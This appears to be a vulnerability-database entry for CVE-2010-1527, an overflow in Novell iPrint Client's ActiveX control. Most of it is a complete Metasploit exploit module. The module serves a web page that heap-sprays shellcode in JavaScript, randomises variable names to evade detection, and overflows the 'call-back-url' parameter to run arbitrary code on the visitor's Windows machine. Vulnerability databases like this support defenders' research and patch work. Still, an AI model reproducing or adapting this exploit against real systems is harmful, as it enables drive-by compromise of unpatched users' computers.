Novell iPrint Client ActiveX Control call-back-url Buffer Overflow

🗓️ 21 Sep 2010 00:00:00Reported by TrancerType

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Novell iPrint Client ActiveX Control buffer overflow in call-back-url param allows arbitrary code execution

Reporter	Title	Published	Views	Family All 28
0day.today	Novell iPrint Client Browser Plugin call-back-url Stack Overflow	20 Sep 201000:00	–	zdt
0day.today	Novell iPrint Client ActiveX Control call-back-url Buffer Overflow	22 Sep 201000:00	–	zdt
Tenable Nessus	Novell iPrint Client < 5.44 Multiple Vulnerabilities	25 Aug 201000:00	–	nessus
Tenable Nessus	Novell iPrint Client < 5.44 Multiple Vulnerabilities	23 Aug 201000:00	–	nessus
Circl	CVE-2010-1527	19 Sep 201000:00	–	circl
Check Point Advisories	Novell iPrint Client Browser Plugin call-back-url Buffer Overflow (CVE-2010-1527)	29 Aug 201000:00	–	checkpoint_advisories
CVE	CVE-2010-1527	23 Aug 201020:00	–	cve
Cvelist	CVE-2010-1527	23 Aug 201020:00	–	cvelist
d2	DSquare Exploit Pack: D2SEC_IPRINT4	23 Aug 201022:00	–	d2
Exploit DB	Novell iPrint Client Browser Plugin - 'call-back-url' Remote Stack Overflow	19 Sep 201000:00	–	exploitdb

`##  
# novelliprint_callbackurl.rb  
#  
# Novell iPrint Client ActiveX Control call-back-url Buffer Overflow exploit for the Metasploit Framework  
#  
# Exploit successfully tested on the following platforms:  
# - Novell iPrint Client 5.40 on Internet Explorer 7, Windows XP SP3  
# - Novell iPrint Client 5.42 on Internet Explorer 7, Windows XP SP3  
# - Novell iPrint Client 5.42 on Internet Explorer 7, Windows Vista SP2  
#  
# ienipp.ocx version tested:  
# File Version: 5.4.0.0 and 5.4.2.0  
# ClassID: 36723F97-7AA0-11D4-8919-FF2D71D0D32C  
# RegKey Safe for Script: True  
# RegKey Safe for Init: True  
# KillBitSet: False  
#  
# References:  
# - CVE-2010-1527  
# - OSVDB 67411  
# - http://secunia.com/secunia_research/2010-104/ - Original advisory by Carsten Eiram, Secunia Research  
# - http://www.exploit-db.com/exploits/15042/ - MOAUB #19 exploit  
# - http://www.exploit-db.com/moaub-19-novell-iprint-client-browser-plugin-call-back-url-stack-overflow/ - MOAUB #14 binary analysis  
# - http://www.rec-sec.com/2010/09/21/novell-iprint-callbackurl-buffer-overflow-exploit/ - Metasploit exploit by Trancer, Recognize-Security  
#  
# Trancer  
# http://www.rec-sec.com  
##  
  
require 'msf/core'  
  
class Metasploit3 < Msf::Exploit::Remote  
Rank = NormalRanking  
  
include Msf::Exploit::Remote::HttpServer::HTML  
  
def initialize(info = {})  
super(update_info(info,  
'Name' => 'Novell iPrint Client ActiveX Control call-back-url Buffer Overflow',  
'Description' => %q{  
This module exploits a stack-based buffer overflow in Novell iPrint Client 5.42.  
When sending an overly long string to the 'call-back-url' parameter in an  
op-client-interface-version action of ienipp.ocx an attacker may be able to  
execute arbitrary code.  
},  
'License' => MSF_LICENSE,  
'Author' => [ 'Trancer <mtrancer[at]gmail.com' ],  
'Version' => '$Revision:$',  
'References' =>  
[  
[ 'CVE', '2010-1527' ],  
[ 'OSVDB', '67411'],  
[ 'URL', 'http://secunia.com/secunia_research/2010-104/' ], # Carsten Eiram, Secunia Research  
[ 'URL', 'http://www.exploit-db.com/exploits/15042/' ], # MOAUB #19  
],  
'DefaultOptions' =>  
{  
'EXITFUNC' => 'process',  
},  
'Payload' =>  
{  
'Space' => 1024,  
'BadChars' => "\x00",  
},  
'Platform' => 'win',  
'Targets' =>  
[  
[ 'Windows XP SP0-SP2 / Windows Vista / IE 6.0 SP0-SP2 / IE 7', { 'Ret' => 0x0A0A0A0A } ]  
],  
'DisclosureDate' => 'Aug 20 2010',  
'DefaultTarget' => 0))  
end  
  
def autofilter  
false  
end  
  
def check_dependencies  
use_zlib  
end  
  
def on_request_uri(cli, request)  
# Re-generate the payload.  
return if ((p = regenerate_payload(cli)) == nil)  
  
# Encode the shellcode.  
shellcode = Rex::Text.to_unescape(payload.encoded, Rex::Arch.endian(target.arch))  
  
# Setup exploit buffers  
nops = Rex::Text.to_unescape([target.ret].pack('V'))  
ret = [target.ret].pack('V')  
ret = ret * 250  
blocksize = 0x40000  
fillto = 500  
offset = target['Offset']  
  
# ActiveX parameters  
clsid = "36723F97-7AA0-11D4-8919-FF2D71D0D32C"  
  
# Randomize the javascript variable names  
ienipp = rand_text_alpha(rand(100) + 1)  
j_shellcode = rand_text_alpha(rand(100) + 1)  
j_nops = rand_text_alpha(rand(100) + 1)  
j_ret = rand_text_alpha(rand(100) + 1)  
j_headersize = rand_text_alpha(rand(100) + 1)  
j_slackspace = rand_text_alpha(rand(100) + 1)  
j_fillblock = rand_text_alpha(rand(100) + 1)  
j_block = rand_text_alpha(rand(100) + 1)  
j_memory = rand_text_alpha(rand(100) + 1)  
j_counter = rand_text_alpha(rand(30) + 2)  
  
html = %Q|<html>  
<script>  
var #{j_shellcode} = unescape('#{shellcode}');  
var #{j_nops} = unescape('#{nops}');  
var #{j_headersize} = 20;  
var #{j_slackspace} = #{j_headersize} + #{j_shellcode}.length;  
while (#{j_nops}.length < #{j_slackspace}) #{j_nops} += #{j_nops};  
var #{j_fillblock} = #{j_nops}.substring(0,#{j_slackspace});  
var #{j_block} = #{j_nops}.substring(0,#{j_nops}.length - #{j_slackspace});  
while (#{j_block}.length + #{j_slackspace} < #{blocksize}) #{j_block} = #{j_block} + #{j_block} + #{j_fillblock};  
var #{j_memory} = new Array();  
for (#{j_counter} = 0; #{j_counter} < #{fillto}; #{j_counter}++) {  
#{j_memory}[#{j_counter}] = #{j_block} + #{j_shellcode};  
}  
</script>  
<object classid='clsid:#{clsid}' id='#{ienipp}'>  
<param name='operation' value='op-client-interface-version' />   
<param name='result-type' value='url' />   
<param name='call-back-url' value='#{ret}' />  
</object>  
</html>|  
  
print_status("Sending exploit to #{cli.peerhost}:#{cli.peerport}...")  
  
# Transmit the response to the client  
send_response(cli, html, { 'Content-Type' => 'text/html' })  
  
# Handle the payload  
handler(cli)  
end  
  
end  
  
`

21 Sep 2010 00:00Current

0.5Low risk

Vulners AI Score0.5

EPSS0.35987